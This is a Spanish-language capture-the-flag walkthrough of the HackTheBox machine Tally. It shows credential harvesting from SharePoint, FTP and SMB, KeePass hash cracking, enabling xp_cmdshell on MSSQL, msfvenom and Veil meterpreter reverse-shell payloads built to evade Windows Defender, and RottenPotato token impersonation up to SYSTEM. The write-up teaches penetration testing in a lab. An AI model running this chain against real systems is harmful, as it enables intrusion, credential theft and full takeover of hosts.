Cómo realiza un pentesting a un Sharepoint

Cómo realiza un pentesting a un Sharepoint

¡Hola Cyber-Spartans!
Hoy vamos a aprender una variedad de cosas interesantes, todo gracias a la máquina HackTheBox llamada Tally.

Con este tutorial aprenderás:

  1. Cómo realizar un pentesting en un servidor con Sharepoint
  2. Cómo realizar un escaneo simple de puertos con Nmap.
  3. Cómo crackear contraseñas de KeePass usando Hashcat
  4. Como usar FTP
    • Listando ficheros.
    • Descargando ficheros.
    • Subiendo ficheros.
  5. Cómo utilizar SMBClient para el servicio SMB.
    • Listando ficheros.
    • Descargando ficheros.
  6. Cómo utilizar Hashcat desde 0.
    • Cómo descifrar una base de datos de keepass.
  7. Cómo utilizar Metasploit Framework.
  8. Cómo utilizar SQSH
  9. Cómo realizar un descubrimiento de directorio con Gobuster.
  10. Cómo evadir Windows Defender con Veil/Evasion
  11. Cómo evadir Windows Defender con MsfVenon.
  12. Escalacion de privilegios con incognito y RottenPotato

Hacking Tally

Parte inicial

Como siempre empezaremos a enumerar nuestra máquina víctima con Nmap.

╭─[/Ethic4l-Hacking/Operations/Tally]─[root@Arthorias]─[0]─[2784]
╰─[:)] # nmap -A 10.10.10.59

Starting Nmap 7.70 ( https://nmap.org ) 
Nmap scan report for 10.10.10.59
Host is up (0.048s latency).
Not shown: 992 closed ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-generator: Microsoft SharePoint
|_http-server-header: Microsoft-IIS/10.0
| http-title: Home
|_Requested resource was http://10.10.10.59/_layouts/15/start.aspx#/default.aspx
81/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Bad Request
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
808/tcp  open  ccproxy-http?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2016 13.00.1601.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: TALLY
|   NetBIOS_Domain_Name: TALLY
|   NetBIOS_Computer_Name: TALLY
|   DNS_Domain_Name: TALLY
|   DNS_Computer_Name: TALLY
|_  Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2018-01-26T13:06:37
|_Not valid after:  2048-01-26T13:06:37
|_ssl-date: 2018-01-26T19:08:45+00:00; +7s from scanner time.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.50%E=4%D=1/26%OT=21%CT=1%CU=44020%PV=Y%DS=2%DC=T%G=Y%TM=5A6B7CC
OS:6%P=i686-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=O%TS=A)

Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6s, deviation: 0s, median: 6s
| ms-sql-info: 
|   10.10.10.59:1433: 
|     Version: 
|       name: Microsoft SQL Server 2016 RTM
|       number: 13.00.1601.00
|       Product: Microsoft SQL Server 2016
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Con el anterior escaneo de Nmap, logramos identificar varios servicios interesantes, incluyendo un sitio de Sharepoint.
A continuación, realizaremos un descubrimiento de directorios con Gobuster utilizando uno de los diccionarios SecLists.

Seclists, es una colección de múltiples tipos de diccionarios utilizados durante las evaluaciones de seguridad, compilados en un solo lugar. Estas listas incluyen nombres de usuario, contraseñas, URLs, patrones de datos confidenciales, cargas útiles de fuzzing y muchos más.

Artículo completo en Kali-Linux

Gobuster, es una herramienta utilizada para la fuerza bruta:
- Descubrimiento de URLs (directorios y archivos) en sitios web.
- Descubrimiento de subdominios DNS.
Artículo completo en Kali-Linux

Entre los resultados arrojados por el Gobuster, mostraré los más relevantes.

╭─[/Ethic4l-Hacking/Operations/Tally]─[root@Arthorias]─[0]─[2784]
╰─[:)] # gobuster -w /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt -u http://10.10.10.59/

Gobuster v2.0.1                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.59/
[+] Threads      : 10
[+] Wordlist     : /usr/share/seclists/Discovery/Web_Content/sharepoint.txt
[+] Status codes : 302,307,200,204,301
=====================================================
/_layouts (Status: 301)
/_catalogs/masterpage/forms/allitems.aspx (Status: 200)
/_layouts/viewlsts.aspx (Status: 302)
/shared documents/forms/allitems.aspx (Status: 200)
/_layouts/dws.aspx (Status: 302)
/_layouts/emaildetails.aspx (Status: 302)
/_layouts/excelserversafedataproviders.aspx (Status: 200)
/_layouts/login.aspx (Status: 302)
/_layouts/mngsiteadmin.aspx (Status: 302)
/_layouts/manageservicepermissions.aspx (Status: 200)
/_layouts/mysite.aspx (Status: 200)
/_layouts/people.aspx?membershipgroupid=0 (Status: 302)
/_layouts/upload.aspx (Status: 302)
/_vti_bin/authentication.asmx (Status: 200)
=====================================================

De todo lo encontrado por el Gobuster, una de las rutas más interesantes de un sitio hecho con Sharepoint, son:

    - /shared documents/forms/allitems.aspx (Status: 200)
    - /_layouts/viewlsts.aspx (Status: 302)

Revisaremos las rutas mencionadas anteriormente.

Página de inicio de Sharepoint Página de inicio de Sharepoint

Podemos identificar que hay un documento y también una página que aparece en el directorio.
Si revisamos la página de Documentos, se nos presenta lo siguiente:

Documento con nombre interesante en una ruta de Sharepoint Documento con nombre interesante en una ruta de Sharepoint

Abriendo un documento de Sharepoint Abriendo un documento de Sharepoint

Después de descargar el archivo, se nos presenta la siguiente información:

FTP details
hostname: tally
workgroup: htb.local
password: UTDRSCH53c"$6hys
Please create your own user folder upon logging in

Aparentemente encontramos unas credenciales de FTP, seguiremos enumerando para ver si encontramos información sobre el usuario.
Vamos a revisar la otra ruta que teníamos.

Encontrando un documento ofimatico Encontrando un documento ofimatico

Usuario FTP encontrado Usuario FTP encontrado

Ok, ya tenemos un nombre de usuario y una contraseña para el servicio FTP.
Vamos a autenticarnos.

╭─[/Ethic4l-Hacking/Operations/Tally/ftp]─[root@Arthorias]─[0]─[3041]
╰─[:)] # ftp 10.10.10.59
Connected to 10.10.10.59.
220 Microsoft FTP Service
Name (10.10.10.59:root): ftp_user
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-31-17  10:51PM       <DIR>          From-Custodian
10-01-17  10:37PM       <DIR>          Intranet
08-28-17  05:56PM       <DIR>          Logs
09-15-17  08:30PM       <DIR>          To-Upload
09-17-17  08:27PM       <DIR>          User
226 Transfer complete.

Encontramos algunos directorios, después de listar un rato encontramos algunas cosas interesantes.
Especificamente, en la carpeta de Tim encontramos una base de datos de KeePass.

ftp> cd Tim
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection.
09-17-17  08:39PM       <DIR>          Files
09-02-17  07:08AM       <DIR>          Project
226 Transfer complete.
ftp> cd Files
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
09-15-17  07:58PM                   17 bonus.txt
09-15-17  08:24PM       <DIR>          KeePass-2.36
09-15-17  08:22PM                 2222 tim.kdbx

Tomemos esa base de datos de KeePass y veamos si podemos descifrar la contraseña con HashCat; pero primero debemos extraer un hash compatible con HashCat, para ello utilizaremos una herramienta llamada keepass2john de la suite John The Ripper.

Hashcat es la utilidad de cracking de contraseñas más rápida y avanzada del mundo, que admite cinco modos de ataque únicos para más de 200 algoritmos de hashing altamente optimizados. Actualmente, hashcat es compatible con CPUs, GPUs y otros aceleradores de hardware en Linux, Windows y OSX, y cuenta con facilidades para permitir el crackeo distribuido de contraseñas.
Artículo completo en Kali-Linux

Jhon The Ripper, está diseñado para ser rico en características y rápido. Combina varios modos de craqueo en un solo programa y es totalmente configurable para sus necesidades particulares.
Artículo completo en Kali-Linux

ftp> get tim.kdbx
local: tim.kdbx remote: tim.kdbx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2222 bytes received in 0.05 secs (42.3532 kB/s)
╭─[/Ethic4l-Hacking/Operations/Tally/ftp]─[root@Arthorias]─[0]─[3041]
╰─[:)] # keepass2john tim.kdbx > tim.hash
╭─[/Ethic4l-Hacking/Operations/Tally/ftp]─[root@Arthorias]─[0]─[3041]
╰─[:)] # cat tim.hash 
tim:$keepass$*2*6000*222*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da

Ahora que tenemos nuestro hash podemos intentar crackearlo con hashcat.

NOTA: Elimine tim: del hash antes de intentar crackear.

Voy a utilizar HashCat en Windows, de esta manera puedo identificar mi GPU y el proceso de cracking será más rápido.

C:\hashcat-5.1.0> .\hashcat64.exe -m 13400 .\tim.hash .\rockyou.txt
hashcat (v5.1.0) starting...

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger disabled.

Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14343296
* Bytes.....: 139921497
* Keyspace..: 14343296

$keepass$*2*6000*222*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da:simplementeyo

Session..........: hashcat
Status...........: Cracked
Hash.Type........: KeePass 1 (AES/Twofish) and KeePass 2 (AES)
Hash.Target......: $keepass$*2*6000*222*f362b5565b916422607711b54e8d0b...1cd7da

La contraseña de Tim es simplementeyo.
Abramos la base de datos con Keepass. Y en esta encontraremos un usuario y una contraseña.

Finance:Acc0unting 

Comprobemos estas credenciales con smbclient.
SMBCLIENT, Es un cliente SMB para máquinas UNIX. Proporciona una interfaz similar a la de ftp en la línea de comandos. Puede utilizar esta utilidad para transferir archivos entre un “servidor” de Windows y un cliente de Linux.
Articulo Completo

╭─[/Ethic4l-Hacking/Operations/Tally/ftp]─[root@Arthorias]─[1]─[3084]
╰─[:(] # smbclient -L \\\\10.10.10.59 -U Finance
Enter WORKGROUP\Finance's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ACCT            Disk      
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.59 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

Accedamos al directorio ACCT.

╭─[~/Desktop/APOLO/Ethic4l-Hacking/Operations]─[root@Arthorias]─[0]─[3173]
╰─[:)] # smbclient \\\\10.10.10.59\\ACCT -U Finance
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\Finance's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Sep 18 01:58:18 2017
  ..                                  D        0  Mon Sep 18 01:58:18 2017
  Customers                           D        0  Sun Sep 17 16:28:40 2017
  Fees                                D        0  Mon Aug 28 17:20:52 2017
  Invoices                            D        0  Mon Aug 28 17:18:19 2017
  Jess                                D        0  Sun Sep 17 16:41:29 2017
  Payroll                             D        0  Mon Aug 28 17:13:32 2017
  Reports                             D        0  Fri Sep  1 16:50:11 2017
  Tax                                 D        0  Sun Sep 17 16:45:47 2017
  Transactions                        D        0  Wed Sep 13 15:57:44 2017
  zz_Archived                         D        0  Fri Sep 15 16:29:35 2017
  zz_Migration                        D        0  Sun Sep 17 16:49:13 2017

		8387839 blocks of size 4096. 676902 blocks available

En primer lugar, encontramos información de conexión SQL dentro de la carpeta zz_Archived.

smb: \> cd zz_Archived
smb: \zz_Archived\> ls
  .                                   D        0  Fri Sep 15 16:29:35 2017
  ..                                  D        0  Fri Sep 15 16:29:35 2017
  2016 Audit                          D        0  Mon Aug 28 17:28:47 2017
  fund-list-2014.xlsx                 A    25874  Wed Sep 13 15:58:22 2017
  SQL                                 D        0  Fri Sep 15 16:29:36 2017

		8387839 blocks of size 4096. 676414 blocks available
smb: \zz_Archived\> cd SQL
smb: \zz_Archived\SQL\> ls
  .                                   D        0  Fri Sep 15 16:29:36 2017
  ..                                  D        0  Fri Sep 15 16:29:36 2017
  conn-info.txt                       A       77  Sun Sep 17 16:26:56 2017

		8387839 blocks of size 4096. 676269 blocks available
smb: \zz_Archived\SQL\> get conn-info.txt
getting file \zz_Archived\SQL\conn-info.txt of size 77 as conn-info.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)

Miramos el contenido del archivo con el comando cat.

╭─[/Ethic4l-Hacking/Operations/Tally/smb]─[root@Arthorias]─[0]─[3178]
╰─[:)] # cat conn-info.txt 
old server details

db: sa
pass: YE%TJC%&HYbe5Nw

have changed for tally

Después de una búsqueda entre los directorios, encontramos tester.exe parece interesante y parece ser personalizado.

smb: \zz_Migration\Binaries\New folder\> ls
  .                                   D        0  Thu Sep 21 02:21:09 2017
  ..                                  D        0  Thu Sep 21 02:21:09 2017
  crystal_reports_viewer_2016_sp04_51051980.zip      A 389188014  Wed Sep 13 15:56:38 2017
  Macabacus2016.exe                   A 18159024  Mon Sep 11 17:20:05 2017
  Orchard.Web.1.7.3.zip               A 21906356  Tue Aug 29 19:27:42 2017
  putty.exe                           A   774200  Sun Sep 17 16:19:26 2017
  RpprtSetup.exe                      A   483824  Fri Sep 15 15:49:46 2017
  tableau-desktop-32bit-10-3-2.exe      A 254599112  Mon Sep 11 17:13:14 2017
  tester.exe                          A   215552  Fri Sep  1 07:15:54 2017
  vcredist_x64.exe                    A  7194312  Wed Sep 13 16:06:28 2017

		8387839 blocks of size 4096. 558580 blocks available
smb: \zz_Migration\Binaries\New folder\> get tester.exe
getting file \zz_Migration\Binaries\New folder\tester.exe of size 215552 as tester.exe (389.1 KiloBytes/sec) (average 389.1 KiloBytes/sec)

El siguiente paso es ver las cadenas de caracteres imprimibles del archivo .EXE con STRINGS.

╭─[/Ethic4l-Hacking/Operations/Tally/smb]─[root@Arthorias]─[0]─[3178]
╰─[:)] # strings tester.exe
!This program cannot be run in DOS mode.
Rich7J
~~~
~~~
SQLSTATE: 
Message: 
DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;
select * from Orchard_Users_UserPartRecord
~~~
~~~

Listo, hemos encontrado un nombre de usuario y una contraseña para el servicio de MSSQL.
Gracias a estas credenciales encontradas podemos autenticarnos sobre el SQL Server.

Obteniendo una shell #1 (Veil)

Nos identificamos con las credenciales anteriores con sqsh.
SQSH, es un cliente SQL de línea de comandos para servidores MS SQL y Sybase para conectarse a servidores Sybase o Microsoft SQL.
Referencia

╭─[/Ethic4l-Hacking/Operations/Tally/smb]─[root@Arthorias]─[0]─[3178]
╰─[:)] # sqsh -S 10.10.10.59 -U sa
sqsh-2.1.7 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2010 Michael Peppler
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
Password: 
1>

Después de autenticarnos, debemos habilitar el xp_cmdshell para que podamos obtener la ejecución de comandos en nuestra máquina víctima.

1> EXEC SP_CONFIGURE N'show advanced options', 1
2> go
Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> EXEC SP_CONFIGURE N'xp_cmdshell', 1
2> go
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> RECONFIGURE
2> go

Listo, ahora vamos a intentar algo sencillo vamos a listar el disco C.
De esta manera validamos que ya podemos ejecutar comandos en la víctima.

1> xp_cmdshell 'dir C:\';
2> go

	output                                                                  
----------------------------------------------------------

	 Volume in drive C has no label.                                        
	 Volume Serial Number is 8EB3-6DCB                                      
	NULL  

	 Directory of C:\  
	NULL                                                                                                                       
	18/09/2017  05:58    <DIR>          ACCT                                                      
	18/09/2017  20:35    <DIR>          FTP                                                       
	18/09/2017  21:35    <DIR>          inetpub                                                   
	16/07/2016  13:23    <DIR>          PerfLogs                                                  
	24/12/2017  01:46    <DIR>          Program Files                                             
	19/10/2017  22:09    <DIR>          Program Files (x86)                                       
	01/10/2017  19:46    <DIR>          TEMP                                                      
	12/10/2017  20:28    <DIR>          Users                                                     
	23/10/2017  20:44    <DIR>          Windows                                                        
	               0 File(s)              0 bytes                                       
	               9 Dir(s)   2,260,242,432 bytes free

Excelente, después de tener nuestro RCE, procederemos a enumerar todo.
Ejecutaremos el comando systeminfo, que se utiliza para devolver la información del sistema.

1> xp_cmdshell 'systeminfo';
2> go

	output                                                                                        
	-----------------------------------------------------------------------------------------
    -----------------------------------------------------------------------------------------

	The current directory is invalid.                                                                                                                                                           

NULL

Al parecer, algunos comandos no están disponibles.
Para evitar estos errores debemos utilizar el operador & de la siguiente manera:

1> xp_cmdshell 'cd C:\ & systeminfo';
2> go

	output                                                                              
----------------------------------------------------------

	NULL                                                                             
	Host Name:                 TALLY                                                   
	OS Name:                   Microsoft Windows Server 2016 Standard
	OS Version:                10.0.14393 N/A Build 14393 
	OS Manufacturer:           Microsoft Corporation  
	OS Configuration:          Standalone Server 
	OS Build Type:             Multiprocessor Free 
	Registered Owner:          Windows User       
	Registered Organization:                      
	Product ID:                00376-30726-67778-AA877
	Original Install Date:     28/08/2017, 15:43:34   
	System Boot Time:          17/02/2018, 20:05:52      
	System Manufacturer:       VMware, Inc.   
	System Model:              VMware Virtual Platform    
	System Type:               x64-based PC   
	Processor(s):              2 Processor(s) Installed.    
	                           [01]: Intel64 Family 6 Model 63 Stepping 2  ~2600 Mhz       
	                           [02]: Intel64 Family 6 Model 63 Stepping 2  ~2600 Mhz    
	BIOS Version:              Phoenix Technologies LTD 6.00, 05/04/2016 
	Windows Directory:         C:\Windows                
	System Directory:          C:\Windows\system32       
	Boot Device:               \Device\HarddiskVolume1    
	System Locale:             en-gb;English (United Kingdom) 
	Input Locale:              en-gb;English (United Kingdom) 
	Time Zone:                 (UTC+00:00) Dublin, Edinburgh, Lisbon, London                                               
	Total Physical Memory:     2,047 MB  
	Available Physical Memory: 231 MB                                                                            
	Virtual Memory: Max Size:  4,458 MB    
	Virtual Memory: Available: 657 MB                    

	Virtual Memory: In Use:    3,801 MB                  

	Page File Location(s):     C:\pagefile.sys           

	Domain:                    HTB.LOCAL                

	Logon Server:              \\TALLY       
	Hotfix(s):                 2 Hotfix(s) Installed. 
	                           [01]: KB3199986           

	                           [02]: KB4015217           

	Network Card(s):           1 NIC(s) Installed.  
	                           [01]: Intel(R) 82574L Gigabit Network Connection                                                   
	                                 Connection Name: Ethernet0  
	                                 DHCP Enabled:    No  
	                                 IP address(es)     
	                                 [01]: 10.10.10.59   
	                                 [02]: fe80::c5bc:7321:fb5d:9066
	                                 [03]: dead:beef::c5bc:7321:fb5d:9066  
                                                          

Hyper-V Requirements:      A hypervisor has been detected. 

Perfecto, aparentemente nuestra máquina comprometida tiene como sistema operativo, Windows Server 2016.
Por otro lado, hay una nota en el escritorio de Sarah que nos indica que Windows Defender se encuentra activo y también parcheó el sistema.

1> xp_cmdshell 'type C:\Users\Sarah\Desktop\todo.txt';
2> go

done:

install updates
check windows defender enabled

outstanding:

update intranet design
update server inventory

Evasion de Windows Defender con Veil-Evasion

Generaremos un payload con Veil y lo subiremos al servidor FTP, concretamente a la carpeta Intranet.

Después de generar el exe podemos subirlo vía FTP a la carpeta de la Intranet.
Sabemos que tenemos permisos de escritura allí por las instrucciones del archivo llamado Finance encontrado en el SharePoint.

╭─[/Ethic4l-Hacking/Operations/Tally/smb]─[root@Arthorias]─[0]─[3178]
╰─[:)] # ftp 10.10.10.59
Connected to 10.10.10.59.
220 Microsoft FTP Service
Name (10.10.10.59:root): ftp_user
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> cd intranet
250 CWD command successful.
ftp> bin
200 Type set to I.
ftp> put Malware.exe
local: Malware.exe remote: Malware.exe
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
4769528 bytes sent in 29.98 secs (155.3659 kB/s)

Ahora podemos iniciar nuestro handler en Metasploit y ejecutar nuestro payload vía SQL.

╭─[/Ethic4l-Hacking/Operations/Tally]─[root@Arthorias]─[0]─[3508]
╰─[:)] # msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.14.7
LHOST => 10.10.14.7
msf5 exploit(multi/handler) > set LPORT 6969
LPORT => 6969

msf5 exploit(multi/handler) > run
	
[*] Started reverse TCP handler on 10.10.14.7:6969

El EXE se ejecutaría de la siguiente manera.

1> xp_cmdshell 'cd C:\FTP\Intranet\ & Malware.exe';
2> go

Tras ejecutarlo, en nuestra ventana de metasploit recibiremos nuestra shell.

[*] Sending stage (179779 bytes) to 10.10.10.59
[*] Meterpreter session 1 opened (10.10.14.7:6969 -> 10.10.10.59:56560 at 2019-03-25 18:18:18 

meterpreter > shell
Process 1524 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\FTP\Intranet>whoami
whoami
tally\sarah
Excellent, we already have a shell in Tally with the user sarah.

Otra forma más fácil de obtener un shell en esta máquina, sería usando un auxiliar de metasploit.

Obteniendo una shell #2

Evading Windows Defender with Metasploit

Hagamos un payload de meterpreter usando msfvenom. Si usamos el formato psh-reflection nuestro payload evade la detección del antivirus:

╭─[/Ethic4l-Hacking/Operations/Tally]─[root@Arthorias]─[0]─[3508]
╰─[:)] # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=6969 -f psh-reflection -o Malware2.ps1

Configuramos nuestro oyente con exploit/multi/handler:

msf5> use exploit/multi/handler
msf5 exploit(handler) > options

Module options (exploit/multi/handler):

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.14.7       yes       The listen address
   LPORT     6969             yes       The listen port

msf exploit(handler) > exploit
[*] Started reverse TCP handler on 127.0.0.1:6969

Ahora, suba Malware2.ps1 a /Intranet vía FTP.
Podemos ejecutar nuestro payload a través de MSSQL como hemos indicado anteriormente:

╭─[/Ethic4l-Hacking/Operations/Tally]─[root@Arthorias]─[0]─[3508]
╰─[:)] # msfconsole
msf5> use  auxiliary/admin/mssql/mssql_exec
msf5 auxiliary(mssql_exec) > set CMD "powershell -ExecutionPolicy bypass -NoExit -File C:\\FTP\\Intranet\\Malware2.ps1"
msf5 auxiliary(mssql_exec) > info

Basic options:
  Name             Current Setting
  ----             ---------------
  CMD              powershell -ExecutionPolicy bypass -NoExit -File C:\FTP\Intranet\msf.ps1
  PASSWORD         GWE3V65#6KFH93@4GWTG2G
  RHOST            10.10.10.59
  RPORT            1433
  TDSENCRYPTION    false
  USERNAME         sa
  USE_WINDOWS_AUTH false

msf5 auxiliary(mssql_exec) > exploit

En el parámetro CMD del auxiliar, debemos configurarlo para que ejecute con powershell nuestro payload ofuscado.
El auxiliar utilizado es auxiliary/admin/mssql/mssql_exec.
El módulo admin mssql_exec aprovecha el procedimiento almacenado xp_cmdshell para ejecutar comandos en el sistema remoto.
Reference

Después del comando exploit, tenemos nuestro shell:

meterpreter > sysinfo
Computer        : TALLY
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_GB
Domain          : HTB.LOCAL
Logged On Users : 7
Meterpreter     : x64/windows

Escalada de privilegios

Aquí lo interesante es que la cuenta de Sarah se está ejecutando como la cuenta de servicio de SQL. Así que tal vez podamos elevar ya que las cuentas de servicio suelen tener privilegios especiales.

Para esta parte final aprenderemos a usar Incognito y RottenPotato.
Incognito era originalmente una aplicación independiente que permitía suplantar los tokens de los usuarios cuando se lograba comprometer un sistema.
Reference.

El exploit de la patata podrida es una técnica de escalada de privilegios que permite escalar desde cuentas de nivel de servicio a SYSTEM a través de la suplantación de tokens.
Reference.

A través del comando getprivs podemos verificar todos los privilegios habilitados al proceso actual.

meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeAssignPrimaryTokenPrivilege
  SeChangeNotifyPrivilege
  SeCreateGlobalPrivilege
  SeImpersonatePrivilege
  SeIncreaseQuotaPrivilege
  SeIncreaseWorkingSetPrivilege

Subimos el rottenpotato a nuestra máquina comprometida.

meterpreter > cd C:\\Users\\Sarah\\Desktop
meterpreter > upload rottenpotato.exe
[*] uploading  : rottenpotato.exe -> rottenpotato.exe
[*] uploaded   : rottenpotato.exe -> rottenpotato.exe

Cargamos el módulo en nuestra sesión de Meterpreter ejecutando el comando use incognito. Ejecutando el comando help nos muestra la variedad de opciones que tenemos para incognito y breves descripciones de cada opción.

meterpreter > use incognito
Loading extension incognito...success.
meterpreter > help

Incognito Commands
==================

    Command              Description                                             
    -------              -----------                                             
    add_group_user       Attempt to add a user to a global group with all tokens 
    add_localgroup_user  Attempt to add a user to a local group with all tokens  
    add_user             Attempt to add a user with all tokens                   
    impersonate_token    Impersonate specified token                             
    list_tokens          List tokens available under current user context        
    snarf_hashes         Snarf challenge/response hashes for every token         

Vemos aquí que hay un token de administrador válido que parece ser de interés. Ahora necesitamos suplantar este token para asumir sus privilegios.

meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
TALLY\Sarah

Impersonation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT

Como se ve en la captura de pantalla anterior, nos muestra que en los tokens disponibles solo hay NT SERVICE\SQLSERVERAGENT.
Es el momento de utilizar el rottenpotato que acabamos de descargar, para ejecutarlo debemos hacer lo siguiente:

meterpreter > execute -Hc -f C:\\Users\\Sarah\\Desktoprottenpotato.exe
Process 7996 created.
Channel 2 created.

meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
TALLY\Sarah

Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM
NT SERVICE\SQLSERVERAGENT

Bien, ya tenemos un Token disponible de NT AUTORIDAD\SISTEMA.
Para realizar la suplantación del token hacemos lo siguiente:

meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM


meterpreter > shell
Process 3452 created.
Channel 3 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\Sarah\Desktop> whoami
nt authority\system

Excelente!
Tenemos nuestra SYSTEM shell.